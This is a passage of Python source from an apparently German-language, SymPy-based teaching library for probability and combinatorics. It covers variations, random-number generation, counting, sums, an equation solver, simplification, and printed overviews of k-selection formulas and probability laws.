factorial(n-k)) \n return nsimplify(N)\t\t\n if kwl:\n return kk\n elif kwk:\n return [kurz_form(x) for x in kk]\n\nkomb = kombinationen\t\n\n\n\n# -----------\n# Variationen\n# -----------\n\t\t\ndef variationen(*args, **kwargs):\n \"\"\"k-Variationen aus einer Menge von Elementen\"\"\"\n \n if kwargs.get('h'):\n print(\"\\nVariationen - k-Variationen aus einer Menge von n Objekten\\n\")\t\n print(\"Aufruf variationen( menge, k, wiederh )\\n\")\t\t \n print(\" menge Liste/Tupel/Menge von Elementen | dictionary |\")\n print(\" ganze positive Zahl\") \t\t\n print(\" Listenelemente sind Zahlen, Symbole, strings,\") \n print(\" aber keine Listen\")\n print(\" ein dictionary enth\u00e4lt (Objekt:Anzahl)-Paare\")\n print(\" bei Angabe einer Zahl n wird die Menge\") \n print(\" {1,2,...,n} verwendet\")\t\n print(\" k Anzahl Elemente einer Variation\")\n print(\" wiederh Wiederholungen von Elementen in einer Variation\") \n print(\" m\u00f6glich (ja/nein)\\n\")\n print(\"Zusatz k=ja Ausgabe der Variationen in Kurzform\")\t\t\t\n print(\" l=ja Ausgabe der Variationen in Listenform\")\t\t\t\n print(\" f=ja Formeln\")\n print(\" b=ja Begriffe\\n\")\n print(\"Beispiele\")\n print(\"variationen( [a, b, c, d], 2, ja)\")\t\t\n print(\"variationen( { 0:3, 1:2 }, 4, ja, k=ja)\")\t\t\n print(\"variationen( 5, 2, nein)\\n\")\t\t\n return\t\n\n if kwargs.get('b'):\n print(\"\\nVariationen sind Kombinationen mit Ber\u00fccksichtigung der Anordnung/Reihenfolge\")\n print(\"der Elemente; wird der Begriff verwendet, hei\u00dfen Kombinationen nur diejenigen \")\n print(\"ohne Ber\u00fccksichtigung der Anordnung\\n\")\n return\t\t\n\n try:\n if len(args) != 3:\n raise ZufallError('drei Argumente angeben')\n menge, k, wiederh = args\t\t\n if not isinstance(menge, (list, tuple, set, dict, int, Integer)):\t\n raise ZufallError('Liste/Tupel/Menge von Elementen oder ganze positive Zahl angeben')\n if isinstance(menge, (list, tuple, set)) and not all(map(lambda x: isinstance(x, \\\n (int, Integer, Symbol, str)), menge)):\n raise ZufallError(\"Listenelemente k\u00f6nnen Zahlen, Symbole eoder Zeichenketten sein\")\t\t\t\n if isinstance(menge, dict):\n if not all(map(lambda x: isinstance(x, (int, Integer)) and x > 0, menge.values())):\n raise ZufallError(\"im dictionary als Werte Anzahlen angeben\")\n m = []\t\n for it in menge:\n m += [it for i in range(menge[it])]\n menge = m\t\t\t\t\n if isinstance(menge, (int, Integer)):\n if menge <= 0:\t\n raise ZufallError('ganze positive Zahl angeben')\n else:\n menge = range(1, menge+1)\t\n if not isinstance(k, (int, Integer)) and k > 0:\t\n raise ZufallError('f\u00fcr Anzahl Elemente ganze Zahl > 0 angeben')\n if not isinstance(wiederh, bool):\t\n raise ZufallError('Zulassen Wiederholungen mit ja/mit oder nein/ohne angeben')\n except ZufallError as e:\n print('zufall:', str(e))\n return\n\t\t\t\n return kombinationen(menge, k, wiederh, True, **kwargs)\t\t\t\n\n\n\t\n# -------------\n# Zufallszahlen\n# -------------\n\t\t\ndef zuf_zahl(*args, **kwargs):\n \"\"\"Erzeuung von Zufallszahlen\"\"\"\n \n if kwargs.get('h'):\n print(\"\\nzuf_zahl - Erzeugung von ganzzahligen Pseudo-Zufallszahlen\\n\")\t\n print(\"Aufruf zuf_zahl( bereich1 /[, bereich2, ... ] /[, anzahl ] )\\n\")\t\n print(\" bereich Bereichsangabe z.B. (0, 9); [1, 6]\")\n print(\" anzahl Anzahl der erzeugten Zahlen; Standard = 1\\n\")\n print(\"Zusatz w=nein keine Wiederholung von Zahlen; Standard=ja\")\n print(\" s=ja sortierte Ausgabe mehrerer Zufallszahlen; \") \n print(\" Standard=nein\\n\")\n print(\"R\u00fcckgabe eine einzelne Zahl oder eine Liste mit anzahl Elementen\")\n print(\" ist die Anzahl der Bereiche > 1, so ist jedes Element ein\")\n print(\" Tupel, dessen i. Element aus dem i. Bereich ist\\n\")\n print(\"Beispiele zuf_zahl( (0, 9) ) - eine Zufallsziffer 0, 1, ... oder 9\")\n print(\" zuf_zahl( (1, 365), 6, w=nein ) - 6 Tage eines Jahres, ohne\") \n print(\" Wiederh.\")\t\t\n print(\" zuf_zahl( [0, 1], 3 ) - zur Simulation des 3-maligen Werfens\") \n print(\" einer M\u00fcnze\")\t\t\n print(\" zuf_zahl( [1, 6], [1, 6], 100 ) - zur Simulation des 100-ma-\")\n print(\" ligen Werfens zweier W\u00fcrfel\\n\")\t\t\n return\t\n\t\n if not args:\n print('zufall: Mindestens ein Argument angeben')\n return\n if not iterable(args[0]):\n print('zufall: Mindestens einen Bereich angeben') \n return\n if iterable(args[-1]):\n anzahl = 1\n bereich = [*args]\n else:\n anzahl = args[-1] \n bereich = [*args[:-1]]\n for ber in bereich:\n if not (iterable(ber) and len(ber) == 2):\n print('zufall: Bereiche der L\u00e4nge 2 und eventuell Anzahl angeben')\n return\n if not (isinstance(ber[0], (int, Integer)) and isinstance(ber[1], (int, Integer))):\n print('zufall: die Bereichsgrenzen m\u00fcssen ganzzahlig sein')\n return \n if ber[0] >= ber[1]:\n print('zufall: es muss 1.Bereichsgrenze < 2.Bereichsgranze sein')\n return \n w = kwargs.get('w')\n if w == None:\n w = True \n s = kwargs.get('s') \n if anzahl == 1:\n if len(bereich) == 1:\n return randint(*bereich[0])\n else:\n return [randint(*b) for b in bereich]\n else:\n if len(bereich) == 1:\n b = bereich[0]\n if w:\n if not s:\t\t\t\t\n return [randint(*b) for i in range(anzahl)]\n return sorted([randint(*b) for i in range(anzahl)])\n if anzahl > len(range(b[0], b[1]+1)):\n print('zufall: es muss Anzahl <= Bereichsgr\u00f6\u00dfe sein')\n return\n if not s:\t\t\t\t\t\n return sample(range(b[0], b[1]+1), anzahl)\n return sorted(sample(range(b[0], b[1]+1), anzahl))\n else:\n if w is None:\n samp = [[randint(*b) for b in bereich] for i in range(anzahl)]\n if s is None:\t\t\t\t\n return samp\n return sorted(samp)\t\t\t\t\t\t\n anz = 1\t\t\t\t\t\n for b in bereich:\n g = b[1] - b[0] + 1\n anz *= g\n if anz < anzahl and not w:\n print('zufall: die angegebene Anzahl ist gr\u00f6\u00dfer als die Vorratsmenge')\n return\t\t\t\t\t\n samp, i = [], 0\n while i < anzahl:\n sa = []\n for b in bereich:\n sa += [randint(*b)]\n samp += [tuple(sa)]\n i += 1\n if not s:\t\t\t\t\t\n return samp\t\t\t\t\t\n return sorted(samp)\t\t\t\t\t\n\t\nzufZahl = zuf_zahl\n\t\n\t\n# -------------------------------------\n# Anzahl des Vorkommens eines Elementes \n# in einer DatenReihe / Liste\n# -------------------------------------\n \t\ndef anzahl(*args, **kwargs):\n \"\"\"Anzahl von Elementen\"\"\"\n\t\n if kwargs.get('h'):\t\n print(\"\\nanzahl - Anzahl des Vorkommens eines Elementes in einer DatenReihe /\") \n print(\" Liste\\n\")\n print(\"Aufruf anzahl( daten /[, elem ] )\\n\")\t\t \n print(\" daten Liste von Elementen | DatenReihe\")\n print(\" elem Listen- / Datenelement\") \t\n print(\" bei Fehlen wird die Anzahl der Elemente\")\n print(\" von daten zur\u00fcckgegeben\")\n print(\" oder anzahl( elem )\\n\")\n print(\" es wird eine Funktion zur\u00fcckgegeben, die die Anzahl\")\n print(\" des Vorkommens des Elementes elem in einer Liste /\") \n print(\" DatenReihe z\u00e4hlt\")\n print(\" bei deren Aufruf ist die Liste / DatenReihe als\")\n print(\" Argument anzugeben; ist elem selbst eine Liste, ist\") \n print(\" der Zusatz el=ja anzugeben\\n\")\n print(\"Beispiele\")\n print(\"anzahl( [ 1, 0, 0, 1, 1, 1 ], 1 ) ergibt 4\")\n print(\"anzahl( [ a, b, c ] ) ergibt 3\")\n print(\"anzahl(sp, W) ergibt die Anzahl der W[appen] in der Stichprobe sp beim\")\n print(\" M\u00fcnzwurf-ZufallsExperiment)\")\n print(\"anzahl( el ) ergibt eine Funktion zum Z\u00e4hlen des Elements el\")\n print(\" anzahl(0)( [0,1,1,0,0] ) ergibt 3\")\n print(\" ist el eine Liste, wird der Zusatz el=ja angegeben\")\n print(\" anzahl([a, b], el=ja)( [[a, a], [a, b], [a, c], [a, b]]\") \n print(\" ergibt 2\\n\")\t\t\n return\t\t\n\n dr = importlib.import_module('zufall.lib.objekte.datenreihe')\n DatenReihe = dr.DatenReihe\n\t\t\t\n if len(args) == 1:\n a = args[0]\t\n if isinstance(a, list) and not kwargs.get('el'):\t\t\n return len(a)\n elif isinstance(a, DatenReihe):\t\t\t\n return a.n\n else:\n def fkt(*li):\n liste = li[0]\t\t\t\t\t\n if not liste or not isinstance(liste, (list, DatenReihe, \\\n tuple, Tuple)):\t\t\t\n print('zufall: Liste oder DatenReihe angeben')\n return\n if isinstance(liste, DatenReihe):\t\n liste = liste.daten\t\t\t\t\n return len([x for x in liste if x == a])\t\t\t\t\n return fkt\t\t\n elif len(args) == 2:\n liste, elem = args\n if not isinstance(liste, (list, DatenReihe)):\t\t\t\n print('zufall: als 1. Argument Liste oder DatenReihe angeben')\n return\n if isinstance(liste, DatenReihe):\t\n liste = liste.daten\t\t\t\t\n return len([x for x in liste if x == elem])\t\t\t\t\n else:\n print('zufall: ein oder zwei Argumente angeben')\n return\t\t\n\n\n\n# --------------\n# Anzahl Treffer \n# --------------\n \t\ndef anzahl_treffer(*args, **kwargs):\n \"\"\"Anzahl Treffer\"\"\"\n\t\n if kwargs.get('h'):\t\n print(\"\\nanzahl_treffer - Anzahl des Treffer\\n\")\n print(\"Aufruf anzahl_treffer( treffer )\\n\")\t\t \n print(\" treffer Element, das als Treffer / Erfolg angesehen\")\n print(\" wird (etwa Wappen oder W beim M\u00fcnzwurf)\\n\")\n print(\"Die Funktion ist nur als ZG-Funktion beim Erzeugen von ZufallsGr\u00f6\u00dfe-Ob-\")\n print(\"jekten verwendbar\\n\")\n return\n if len(args) != 1:\n print('zufall: ein Element als Treffer angeben')\n return\t\t\n return anzahl(args[0])\n\nanzahlTreffer = anzahl_treffer\n\t\n\t\n# -----\n# Summe \n# -----\n \t\ndef summe(*args, **kwargs):\n \"\"\"Summe der Elemente\"\"\"\n\t\n if kwargs.get('h'):\t\n print(\"\\nsumme - Summe der Elemente einer Liste mit Daten / DatenReihe\\n\")\n print(\"Aufruf summe( daten )\\n\")\t\t \n print(\" daten Liste mit Daten | DatenReihe\\n\")\n print(\"Synonyme augen_summe, augenSumme\\n\")\t\t\n print(\"Beispiel\")\n print(\"summe( [ 1, 0, 0, 1, 1, 1 ] ) ergibt 4\\n\")\n return\t\n\t\t\n dr = importlib.import_module('zufall.lib.objekte.datenreihe')\n DatenReihe = dr.DatenReihe\n if len(args) != 1 or not isinstance(args[0], (list, tuple, Tuple, DatenReihe)):\t\n print('zufall: Liste oder Datenreihe angeben')\n return\n liste = args[0]\t\t\n if isinstance(liste, DatenReihe):\n liste = liste.daten\n if not all([isinstance(x, (int, Integer, Rational, float, Float)) for x in liste]):\n print('zufall: in der Liste nur Zahlen angeben')\n return\t\t\n return Add(*liste)\t\t\n\t\naugen_summe = summe \t\t\naugenSumme = summe \t\t\n\t\n\t\n\n# ------------------\n# Allgemeiner solver \t\t\n# ------------------\t\n\ndef loese(*args, **kwargs):\n if kwargs.get(\"h\") == 1:\n print(\"\\nl\u00f6se - Funktion\\n\")\n print(\"Zum L\u00f6sen von Gleichungen sowie von Ungleichungen\\n\")\n print(\" Aufruf l\u00f6se( gleich /[, variable ] )\\n\")\n print(\" gleich linke Seite einer Gleichung der Form\")\n print(\" ausdruck = 0 oder Liste mit solchen\")\n print(\" Elementen (Gleichungssystem)\")\n print(\" variable einzelne oder Liste von Variablen\") \n print(\" ausdruck Ausdruck in den Variablen\\n\")\n print(\" oder l\u00f6se( ungleich /[, variable ] )\\n\")\n print(\" ungleich Ungleichung der Form ausdruck rel ausdruck1\")\n print(\" rel Relation '<' | '<=' | '>' | '>='\\n\")\n print(\"Zusatz set=ja Verwendung von solveset; standardm\u00e4\u00dfig wird solve ver-\")\n print(\" wendet (siehe SymPy-Dokumentation)\\n\")\t\t\n print(\"Beispiele\")\t\n print(\"l\u00f6se( 3*x^2 + 5*x - 3 ) - einzelne Gleichung\")\n print(\"l\u00f6se( 3*x^2 + 5*x - 3, set=ja )\")\n print(\"l\u00f6se( (1-1/3)^n > 0.01, set=ja ) - Ungleichung\") \t\t\n print(\"l\u00f6se( [2*x-4*y-2, 3*x+5*y+1] ) - Gleichungssystem\\n\")\n return\t\n\t\t\n ve = importlib.import_module('agla.lib.objekte.vektor')\n Vektor = ve.Vektor\n\t\n if len(args) == 1:\n gleich = args[0]\n var = []\n elif len(args) == 2:\t\t\n gleich = sympify(args[0])\n var = args[1]\n else:\n print('zufall: ein oder zwei Argumente angeben')\n return\t\t\n if not type(var) in (Symbol, list, tuple, Tuple):\n print('zufall: einzelne Variable als Symbol, mehrere in einer' + \n ' Liste angeben')\n return\t\n\t\t\n se = kwargs.get('set') \t\t\n if is_zahl(gleich):\n if se:\n if not var:\n return solveset(gleich, domain=S.Reals) \t\t\t\t\n return solveset(gleich, var, domain=S.Reals)\n if not var:\n res = solve(gleich, dict=True, rational=True)\n else:\n res = solve(gleich, var, dict=True, rational=True)\n if isinstance(res, list) and len(res) == 1:\n return res[0]\n if not res:\n return set()\n return res\t\t\t\n elif isinstance(gleich, _Gleichung):\n gleich = gleich.lhs - gleich.rhs\n if se:\n if not var:\n return solveset(gleich, domain=S.Reals)\n return solveset(gleich, var, domain=S.Reals)\n if not var:\n res = solve(gleich, dict=True, rational=True)\n else:\n res = solve(gleich, var, dict=True, rational=True)\t\n if isinstance(res, list) and len(res) == 1:\n return res[0]\n if not res:\n return set()\n return res\t\t\t\n elif isinstance(gleich, Vektor):\n gleich = [gleich.komp[i] for i in range(gleich.dim)]\t\n if not var:\t\t\t\n res = solve(gleich, dict=True, rational=True)\n else:\n res = solve(gleich, var, dict=True, rational=True)\n if isinstance(res, list) and len(res) == 1:\n return res[0]\n if not res:\n return set()\n return res\t\t\t\n elif isinstance(gleich, (list, tuple, Tuple)):\n res = solve(gleich, rational=True)\n if not res:\n return set()\n return res\t\t\t\n elif '<' in str(gleich) or '>' in str(gleich):\n if se:\n if not var:\n return solveset(gleich, domain=S.Reals)\t\t\t\n return solveset(gleich, var, domain=S.Reals)\n if not var:\n res = solve(gleich)\n else:\n res = solve(gleich, var)\n if isinstance(res, list) and len(res) == 1:\n return res[0]\n if not res:\n return set()\n return res\t\t\n else:\n print('zufall: linke Seite einer Gleichung oder einer ' +\n 'Vektorgleichung oder Gleichungssystem angeben')\n\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t \n# -------------\n# Vereinfachung\t\n# -------------\t\n\nfrom zufall.lib.objekte.umgebung import UMG \n\ndef einfach(*x, **kwargs):\t\n if kwargs.get('h') == 1:\n print(\"\\neinfach - Funktion\\n\")\n print(\"Vereinfachung von Objekten\\n\")\n print(\"Aufruf einfach( objekt )\\n\")\n print(\" objekt numm. Ausdruck, Vektor, Matrix\\n\")\n print(\"Zusatz rad=ja Einsatz von radsimp\")\n print(\" trig=ja Einsatz von trigsimp\")\n print(\" num=ja Einsatz von nsimplify\") \n print(\" sign=ja Einsatz von signsimp\") \n print(\" (siehe SymPy-Dokumentation)\\n\")\t\t\n return\n\t\t\n Vektor = importlib.import_module('agla.lib.objekte.vektor').Vektor\t\n if len(x) != 1:\n print('zufall: ein Objekt angeben')\n return\t\n x = x[0]\t\t\n if not UMG.SIMPL:\n return x\n if not (is_zahl(x) or isinstance(x, (Vektor, SympyMatrix))):\n print('zufall: nummerischen Wert, Vektor oder Matrix angeben')\n return\t\t\n if isinstance(x, Vektor):\n li = [einfach(k, **kwargs) for k in x.komp]\n return Vektor(li)\n if isinstance(x, SympyMatrix):\n Matrix = importlib.import_module('zufall.lib.objekte.matrix').Matrix\t\t\n return Matrix(*[einfach(v, **kwargs) for v in x.vekt])\n elif is_zahl(x):\n if not kwargs:\n return simplify(x)\t\n elif kwargs.get('rad'):\n return radsimp(x)\n elif kwargs.get('trig'):\n return trigsimp(x)\n elif kwargs.get('num'):\n try:\t\n return nsimplify(x)\n except RecursionError:\n return x\t\t\n elif kwargs.get('sign'):\n return signsimp(x)\n else:\n return x\t\t\n \t\t\t\t\t \n \t\t\t\t\t\t\t\t\t\t\t\t\t \n# --------------------------\n# k-Auswahlen aus n Objekten\n# --------------------------\n\ndef auswahlen(**kwargs):\n \"\"\"k-Auswahlen aus n Objekten; \u00dcbericht\"\"\"\n\n if kwargs.get('h'):\t\t\n print(\"\\nk-Auswahlen aus n Objekten (\u00dcbersicht)\\n\")\t\n print(\"Aufruf auswahlen( )\\n\")\n print(\"Zusatz a=ja Algorithmus als Pseudocode\\n\")\t\n return\n\n if not kwargs.get('a'):\n\n dm = lambda x: display(Math(x))\t\t\n\n print(' ')\t\t\n dm('\\\\text{Tabelle der $k$-Auswahlen aus $n$ Objekten}')\n print(' ')\t\t\n dm('\\\\text{Bezeichnung $\\\\qquad\\qquad\\\\quad$ Eigenschaften \\\n $\\\\qquad\\\\quad$ Formel $\\\\qquad\\\\quad$ Beispiel}')\n dm('\\\\text{$k$-Kombination oW mA } \\\\quad\\:\\, k \\\\lt n \\\\qquad\\\\quad \\\n\t\t \\\\qquad\\quad\\; \\\\dfrac{n!}{(n-k)!} \\\\qquad\\\\quad\\, \\\\text{Pakplatzbelegung}')\n dm('\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad \\\n \t\t\\\\qquad\\\\qquad\\;\\, \\\\text{15 Autos, 6 Pl\u00e4tze}')\n dm('\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad \\\n \t\t\\\\qquad\\\\qquad\\; \\, \\\\Rightarrow n=15, k=6')\t\t\t\n dm('\\\\text{$k$-Kombination mW mA} \\\\quad\\:\\, k, n \\; \\\\text{beliebig} \\\\qquad\\\\quad \\\n\t\t \\,\\quad n^k \\\\qquad\\\\qquad\\\\quad\\, \\\\text{Fu\u00dfballtoto}')\n dm('\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad \\\n \t\t\\\\qquad\\\\qquad\\; \\, \\\\Rightarrow n=3, k=11')\n dm('\\\\text{$k$-Permutation oW } \\\\qquad\\\\quad\\:\\, \\\\text{mA; jedes Element} \\\\quad\\:\\;\\, \\\n n! \\\\qquad\\\\qquad\\\\quad\\, \\\\text{Startaufstellung}')\t\n dm('\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\text{wird benutzt} \\\n \t\t\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\quad\\:\\;\\; \\, \\\\text{8 L\u00e4ufer auf 8 Bahnen}')\n dm('\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\, k=n \\\\qquad\\\\qquad \\\n \t\t\\\\qquad\\\\qquad\\\\qquad\\\\quad\\:\\:\\:\\; \\, \\\\Rightarrow n=k=8')\t\t\t\n dm('\\\\text{$k$-Permutation mW } \\\\qquad\\\\quad\\:\\, \\\\text{mA; jedes Element} \\\\quad\\:\\;\\, \\\n \\\\dfrac{n!}{n_1!\\cdot \\dots \\cdot n_p}\\\\quad\\, \\\\text{Anagramm}')\t\n dm('\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\text{wird benutzt} \\\n \t\t\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\quad\\:\\;\\; \\, \\\\text{RENNEN}')\n dm('\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\, k>n \\\\qquad\\\\qquad \\\n \t\t\\\\qquad\\\\qquad\\\\qquad\\\\quad\\:\\:\\:\\; \\, \\\\Rightarrow p=3,n=6')\n dm('\\\\text{$k$-Kombination oW oA } \\\\quad\\:\\,\\:\\; k \\\\lt n \\\\qquad\\\\quad \\\n\t\t \\\\qquad\\quad\\;\\; \\\\dfrac{n!}{(n-k)! \\cdot k!} \\\\quad\\, \\\\text{Zahlenlotto}')\n dm('\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad \\\n \t\t\\\\qquad\\\\qquad\\;\\, \\\\text{6 aus 49}')\n dm('\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad \\\n \t\t\\\\qquad\\\\qquad\\; \\, \\\\Rightarrow n=49, k=6')\t\t\t\n dm('\\\\text{$k$-Kombination mW oA } \\\\quad\\:\\,\\: k, n \\\\text{beliebig} \\\\qquad\\\\quad \\\n\t\t \\\\quad \\;\\; {n+k-1 \\choose k} \\\\quad \\\\text{Flaschentr\u00e4ger}')\n dm('\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad \\\n \t\t\\\\qquad\\\\qquad\\;\\, \\\\text{12 Flaschen aus 3 Sorten}')\n dm('\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad \\\n \t\t\\\\qquad\\\\qquad\\; \\, \\\\Rightarrow n=3, k=12')\t\t\t\n print(' ')\t\t\n dm('\\\\text{(mW/oW - mit/ohne Wiederholung, mA/oA - mit/ohne Anordnung)}')\n print(' ')\n dm('\\\\text{Oft werden Kombinationen mit Ber\u00fccksichtigung der Anordnung Variationen genannt}')\t\t\n dm('\\\\text{die ohne Ber\u00fccksichtigung der Anordnung hei\u00dfen dann Kombinationen}')\n print(' ')\t\t\n return\n\n # Algorithmus\t\t\n print(\"\"\" \\\n \nAlgorithmus zur Berechnug der k-Auswahlen aus n Objekten (Python-\u00e4hn- \nlicher Pseudocode)\n\nAnalyse der Aufgabenstellung\nWENN die Elemente 'angeordnet' sind:\n WENN einzelne Elemente wiederholt werden d\u00fcrfen:\n WENN jedes Element mindestens einmal benutzt wird:\n Permutation mW mit n > p\n / Aus n > p ergibt sich die Zuordnung von p und n:\n / Die L\u00e4nge n der Anordnung ist gr\u00f6\u00dfer als die Gr\u00f6\u00dfe p \n / der Vorratsmenge ]\n SONST:\n Kombination mW mA\n / Zuordnung von k und n:\n / Das, was 'wiederholt' werden kann, geh\u00f6rt zur Vorrats-\n / menge \n SONST:\n WENN jedes Element genau einmal benutzt wird:\n WENN k = n ist:\n Permutation oW\n SONST:\n ES WURDE ETWAS \u00dcBERSEHEN\n neu beginnen\n SONST: \n Kombination oW mA mit k < n\n / Aus k < n ergibt sich die Zuordnung von n und k:\n / Die L\u00e4nge k der Anordnung ist kleiner als die Gr\u00f6\u00dfe n \n / der Vorratsmenge \nSONST:\n WENN Elemente wiederholt werden d\u00fcrfen:\n Kombination mW oA\n / Zuordnung von n und k:\n / Das, was 'wiederholt' werden kann, geh\u00f6rt zur Vorratsmenge \n SONST:\n Kombination oW oA mit k < n\n / Aus k < n ergibt sich die Zuordnung von n und k:\n / Die Gr\u00f6\u00dfe k der Teilmenge ist kleiner als die Gr\u00f6\u00dfe n \n / der Vorratsmenge \n\n\t\t\t \nOft werden Kombinationen mit Ber\u00fccksichtigung der Anordnung Variationen \ngenannt, die ohne Ber\u00fccksichtigung der Anordnung hei\u00dfen dann Kombinationen\n\nGrundlage:\nWolfdieter Feix\nmentor Abiturhilfe\nMathematik Oberstufe\nStochastik\nmentor Verlag 2000\n\"\"\")\t\t\n return\n\n\n\n# ---------------------------------------\n# Gesetze der Wahrscheinlichkeitsrechnung\n# ---------------------------------------\n\ndef gesetze(**kwargs):\n \"\"\"Gesetze der Wahrscheinlichkeitsrechnung\"\"\"\n\n if kwargs.get('h'):\t\t\n print(\"\\nEinige Gesetze der Wahrscheinlichkeitsrechnung\\n\")\t\n print(\"Aufruf gesetze( )\\n\")\n return\n\n dm = lambda x: display(Math(x)) \t\n\t\n print(' ')\t\n dm('\\\\text{Einige Gesetze der Wahrscheinlichkeitsrechnung}')\n print(' ')\t\n dm('\\\\text{Additionssatz}')\n dm('\\\\qquad\\\\text{F\u00fcr beliebige Ereignisse} \\; A \\\\text{ und } B \\\\text{ gilt } P( \\\\cup B) = \\\n P(A)+P(B)-P(A \\\\cap B)')\t\n\t\n dm('\\\\text{Satz von Bayes}')\n dm('\\\\qquad\\\\text{Sei } A \\\\text{ ein Ereignis und } B \\\\text{ eine Bedingung, \\\n unter der das Ereignis betrachtet}')\n dm('\\qquad\\\\text{wird. Dann berechnet sich die Wahrscheinlichkeit } P_B(A) \\\n \\\\text{ f\u00fcr } A \\\\text{ unter der Be-}')\n dm('\\\\qquad \\\\text{dingung } B \\\\text{nach der Formel }\\; P_B(A) = \\\\dfrac{P(A \\\\cap B)}{P(B)}')\t\n\t \n dm('\\\\text{Multiplikationssatz}')\n dm('\\\\qquad\\\\text{Ist } P(A) \\\\neq 0 \\\\text{, so gilt } P(A \\\\cap B) = P(A) \\cdot \\\n P_A(B)')\t\n\t \n dm('\\\\text{Satz von der totalen Wahrscheinlichkeit}')\n dm('\\\\qquad\\\\text{F\u00fcr beliebige Ereignisse }A \\\\text{ und }B \\\\text{ gilt } P(B) = \\\n P(A \\\\cap B) + P(\\\\overline{A} \\\\cap B) = ')\n dm('\\\\qquad P(A) \\\\cdot P_A(B) + P(\\\\overline{A}) \\\\cdot P_\\\\overline{A}(B)') \t\t\n dm('\\\\qquad\\\\text{oder allgemeiner}')\t\n dm('\\\\qquad\\\\text{Wenn } A_1 \\\\cup A_2 \\\\cup \\\\dots \\\\cup A_n = \\\\Omega, \\; A_i\\\\cap A_j = \\\n \\\\emptyset \\\\text{ f\u00fcr } i,j=1\\dots n, i \\\\neq j \\\\text{ gilt, dann ist}')\n dm('\\\\qquad P(B) = \\\\sum_{i=1}^n P(A_i)\\\\cdot P_{A_i}(B)') \t\t\n dm('\\\\text{Empirisches Gesetz der gro\u00dfen Zahlen}')\n dm('\\\\qquad\\\\text{Bei langen Versuchsreihen, also bei h\u00e4ufiger Wiederholung eines Zufallsex-}')\n dm('\\\\qquad\\\\text{perimentes ver\u00e4ndern sich die relativen H\u00e4ufigkeiten eines Ergebnisses in }')\n dm('\\\\qquad\\\\text{der Regel nur noch wenig. Sie stabilisieren sich in der N\u00e4he der Wahrschein-}')\n dm('\\\\qquad\\\\text{lichkeit des Ergebnisses.}')\n dm('\\\\text{Bernoullisches Gesetz der gro\u00dfen Zahlen}')\n dm('\\\\qquad\\\\text{Gegeben sei ein } n \\\\text{-stufiges Bernoulli-Experiment mit der Trefferwahrschein-}')\n dm('\\\\qquad\\\\text{lichkeit }p. X \\\\text{ sei die Zufallsgr\u00f6\u00dfe \\'Anzahl der Treffer\\'. F\u00fcr jedes beliebige}') \n dm('\\\\qquad\\\\text{positive } \\\\epsilon \\\\text{ gilt dann }\\\\lim\\\\limits_{n \\\\rightarrow \\\\infty} P \\left( \\\n \\left| \\\\frac{X}{n} - p \\\\right| \\\\le \\\n \\\\epsilon \\\\right) = 1')\n dm('\\\\text{Tschebyschew - Ungleichung}')\n dm('\\\\qquad\\\\text{Sei } X \\\\text{ eine beliebige Zufallsgr\u00f6\u00dfe mit Erwartungswert } \\\\mu \\\\text{ und Standardabwei-}')\n dm('\\\\qquad\\\\text{chung }\\\\sigma. \\\\text{ F\u00fcr die Wahrscheinlichkeit, dass } X \\\\text{ einen Wert annimmt, der um}') \n dm('\\\\qquad\\\\text{mindestens } c\\; (c \\\\gt 0) \\\\text{ vom Erwartungswert abweicht, gilt}')\n dm('\\\\qquad P\\\\left(\\\\left|X - \\\\mu\\\\right| \\\\ge c \\\\right) \\\\le \\\\dfrac{\\\\sigma^2}{c^2}. \\\n\t \\\\qquad \\\\text{Daraus folgt}')\t\n dm('\\\\qquad P(\\\\mu - \\\\sigma\\cdot c \\\\le X \\\\le \\\\mu + \\\\sigma\\\\cdot c ) \\\\ge 1 -\\\\dfrac{1}{c^2}')\t\n dm('\\\\dfrac{1}{\\\\sqrt{n}} \\\\text{ - Gesetz}')\n dm('\\\\qquad X_1, X_2, \\\\dots , X_n \\\\text{ seien identisch verteilte unabh\u00e4ngige Zufallsgr\u00f6\u00dfen mit dem }')\t\n dm('\\\\qquad\\\\text{Erwartungswert } \\\\mu \\\\text{ und der Standardabweichung } \\\\sigma. \\\\text{ F\u00fcr die Zufallsgr\u00f6\u00dfe }')\n dm('\\\\qquad\\\\overline{X} = \\\\dfrac{1}{n} \\, (X_1 + X_2 + \\\\dots + X_n) \\ \\\\text{ gilt dann:} ')\n dm('\\\\qquad\\\\text{Sie hat den Erwartungswert } \\\\mu \\\\text{ und die Standardabweichung } \\\n \\\\dfrac{\\\\sigma}{\\\\sqrt{n}}')\t\n dm('\\\\text{Zentraler Grenzwertsatz}')\t\t\n dm('\\\\qquad X_1, X_2, \\\\dots , X_n \\\\text{ seien unabh\u00e4ngige Zufallsgr\u00f6\u00dfen. Die Zufallsgr\u00f6\u00dfe } \\\n \\;X = X_1+')\n dm('\\\\qquad \\\\dots + X_n \\\\text{ habe den Erwartungswert } \\\\mu \\\\text{ und die Standardabweichung } \\\\sigma. \\\n \\\\text{Dann}')\n dm('\\\\qquad\\\\text{gilt unter gewissen Bedingungen, die fast immer erf\u00fcllt sind (insbesondere}') \n dm('\\\\qquad\\\\text{f\u00fcr gro\u00dfes } n \\\\text{): }')\n dm('\\\\qquad\\\\text{Die Zufallsgr\u00f6\u00dfe $X$ ist n\u00e4herungsweise nomalverteilt mit } \\\\mu 